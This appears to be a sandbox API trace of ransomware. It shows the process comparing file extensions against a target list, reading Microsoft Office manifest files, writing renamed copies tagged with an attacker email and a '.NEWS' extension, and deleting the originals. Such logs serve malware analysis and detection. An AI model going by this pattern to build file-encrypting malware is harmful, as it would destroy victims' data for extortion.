lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.453] lstrlenW (lpString=".1cd") returned 4 [0071.453] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0071.453] lstrlenW (lpString=".jpg") returned 4 [0071.453] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.453] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.453] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0071.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.454] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0071.454] CloseHandle (hObject=0x308) returned 1 [0071.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0071.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.455] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.455] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0071.455] GetLastError () returned 0x0 [0071.455] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0071.456] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0071.457] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.458] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.458] SetEndOfFile (hFile=0x354) returned 1 [0071.458] CloseHandle (hObject=0x354) returned 1 [0071.459] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.459] SetEndOfFile (hFile=0x308) returned 1 [0071.460] CloseHandle (hObject=0x308) returned 1 [0071.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0071.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.461] lstrlenW (lpString=".doc") returned 4 [0071.461] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.461] lstrlenW (lpString=".docx") returned 5 [0071.461] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.461] lstrlenW (lpString=".pdf") returned 4 [0071.461] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.461] lstrlenW (lpString=".xls") returned 4 [0071.461] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.461] lstrlenW (lpString=".xlsx") returned 5 [0071.461] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.461] lstrlenW (lpString=".ppt") returned 4 [0071.461] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.461] lstrlenW (lpString=".zip") returned 4 [0071.461] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.461] lstrlenW (lpString=".rar") returned 4 [0071.461] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.461] lstrlenW (lpString=".bz2") returned 4 [0071.461] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.461] lstrlenW (lpString=".7z") returned 3 [0071.461] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.461] lstrlenW (lpString=".dbf") returned 4 [0071.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.462] lstrlenW (lpString=".1cd") returned 4 [0071.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.462] lstrlenW (lpString=".jpg") returned 4 [0071.462] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.462] lstrlenW (lpString=".doc") returned 4 [0071.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString=".docx") returned 5 [0071.462] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.462] lstrlenW (lpString=".pdf") returned 4 [0071.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString=".xls") returned 4 [0071.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString=".xlsx") returned 5 [0071.462] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.462] lstrlenW (lpString=".ppt") returned 4 [0071.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.462] lstrlenW (lpString=".zip") returned 4 [0071.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.462] lstrlenW (lpString=".rar") returned 4 [0071.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString=".bz2") returned 4 [0071.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString=".7z") returned 3 [0071.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.462] lstrlenW (lpString=".dbf") returned 4 [0071.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.463] lstrlenW (lpString=".1cd") returned 4 [0071.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0071.463] lstrlenW (lpString=".jpg") returned 4 [0071.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.463] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.463] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0071.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.463] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=343329) returned 1 [0071.463] CloseHandle (hObject=0x308) returned 1 [0071.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0071.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.466] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.467] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0071.467] GetLastError () returned 0x0 [0071.467] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0071.474] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0071.481] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.481] WriteFile (in: hFile=0x354, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.481] SetEndOfFile (hFile=0x354) returned 1 [0071.481] CloseHandle (hObject=0x354) returned 1 [0071.489] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.489] SetEndOfFile (hFile=0x308) returned 1 [0071.796] CloseHandle (hObject=0x308) returned 1 [0071.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0071.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.797] lstrlenW (lpString=".doc") returned 4 [0071.797] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.797] lstrlenW (lpString=".docx") returned 5 [0071.797] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.798] lstrlenW (lpString=".pdf") returned 4 [0071.798] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString=".xls") returned 4 [0071.798] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString=".xlsx") returned 5 [0071.798] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.798] lstrlenW (lpString=".ppt") returned 4 [0071.798] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.798] lstrlenW (lpString=".zip") returned 4 [0071.798] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.798] lstrlenW (lpString=".rar") returned 4 [0071.798] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString=".bz2") returned 4 [0071.798] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString=".7z") returned 3 [0071.798] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.798] lstrlenW (lpString=".dbf") returned 4 [0071.798] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.798] lstrlenW (lpString=".1cd") returned 4 [0071.798] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.798] lstrlenW (lpString=".jpg") returned 4 [0071.798] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.798] lstrlenW (lpString=".doc") returned 4 [0071.798] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString=".docx") returned 5 [0071.798] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.798] lstrlenW (lpString=".pdf") returned 4 [0071.798] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.798] lstrlenW (lpString=".xls") returned 4 [0071.798] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.799] lstrlenW (lpString=".xlsx") returned 5 [0071.799] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.799] lstrlenW (lpString=".ppt") returned 4 [0071.799] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.799] lstrlenW (lpString=".zip") returned 4 [0071.799] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.799] lstrlenW (lpString=".rar") returned 4 [0071.799] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.799] lstrlenW (lpString=".bz2") returned 4 [0071.799] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.799] lstrlenW (lpString=".7z") returned 3 [0071.799] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.799] lstrlenW (lpString=".dbf") returned 4 [0071.799] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.799] lstrlenW (lpString=".1cd") returned 4 [0071.799] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0071.799] lstrlenW (lpString=".jpg") returned 4 [0071.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.799] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.799] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0071.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.800] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0071.800] CloseHandle (hObject=0x308) returned 1 [0071.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0071.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.800] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.800] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.800] GetLastError () returned 0x0 [0071.800] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0071.803] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0071.804] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.804] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.807] SetEndOfFile (hFile=0x344) returned 1 [0071.807] CloseHandle (hObject=0x344) returned 1 [0071.808] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.808] SetEndOfFile (hFile=0x308) returned 1 [0071.809] CloseHandle (hObject=0x308) returned 1 [0071.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString=".doc") returned 4 [0071.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString=".docx") returned 5 [0071.810] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.810] lstrlenW (lpString=".pdf") returned 4 [0071.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString=".xls") returned 4 [0071.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString=".xlsx") returned 5 [0071.810] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.810] lstrlenW (lpString=".ppt") returned 4 [0071.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString=".zip") returned 4 [0071.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.810] lstrlenW (lpString=".rar") returned 4 [0071.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString=".bz2") returned 4 [0071.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString=".7z") returned 3 [0071.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString=".dbf") returned 4 [0071.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString=".1cd") returned 4 [0071.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString=".jpg") returned 4 [0071.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.810] lstrlenW (lpString=".doc") returned 4 [0071.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString=".docx") returned 5 [0071.811] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 